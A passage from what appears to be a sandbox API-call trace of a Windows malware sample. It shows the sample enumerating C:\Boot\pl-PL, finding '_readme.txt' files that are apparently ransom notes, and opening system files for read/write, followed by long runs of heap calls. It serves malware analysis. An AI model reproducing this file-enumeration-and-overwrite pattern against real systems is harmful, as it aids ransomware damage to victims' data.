nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.619] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.619] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.619] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0059.619] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.620] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bfc4d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.620] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned=".txt" [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.620] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bfc4d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.620] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.620] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.620] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.621] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: 